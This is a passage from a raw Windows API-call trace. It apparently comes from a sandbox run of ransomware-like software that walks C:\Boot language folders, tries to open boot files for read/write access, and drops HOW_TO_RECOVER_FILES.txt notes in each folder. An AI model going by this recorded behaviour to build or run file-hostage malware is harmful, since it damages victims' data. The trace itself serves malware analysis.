hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.929] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.929] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.929] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0069.929] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.930] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.930] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.930] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.930] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0069.930] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.931] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.931] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x315bf28 | out: lpFileInformation=0x315bf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0)) returned 1 [0069.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.931] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.931] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.934] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.934] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x315c5d8 | out: lpFileInformation=0x315c5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0)) returned 1 [0069.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.934] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.934] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.936] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.936] CreateFileW (lpFileName="C:\\Boot\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0069.938] GetFileType (hFile=0x6b0) returned 0x1 [0069.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.938] GetFileType (hFile=0x6b0) returned 0x1 [0069.939] WriteFile (in: hFile=0x6b0, lpBuffer=0x315f008*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x315f008*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.940] CloseHandle (hObject=0x6b0) returned 1 [0069.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.940] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0069.940] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.940] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.941] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.941] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.941] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.941] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.941] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0069.941] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0069.941] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.942] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.942] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.942] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0069.942] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0069.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.942] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.942] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x316dc60 | out: lpFileInformation=0x316dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1 [0069.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.943] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.943] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.945] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.945] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x316e310 | out: lpFileInformation=0x316e310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1 [0069.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.946] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.946] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.948] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.948] CreateFileW (lpFileName="C:\\Boot\\es-ES\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.212] GetFileType (hFile=0x764) returned 0x1 [0070.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.213] GetFileType (hFile=0x764) returned 0x1 [0070.213] WriteFile (in: hFile=0x764, lpBuffer=0x30eae58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x30eae58*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.215] CloseHandle (hObject=0x764) returned 1 [0070.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.215] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-MX", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-MX", lpFilePart=0x0) returned 0xd [0070.215] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.216] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.216] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.216] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.216] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.216] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-MX", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-MX", lpFilePart=0x0) returned 0xd [0070.216] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.217] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.217] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.217] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0070.217] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) 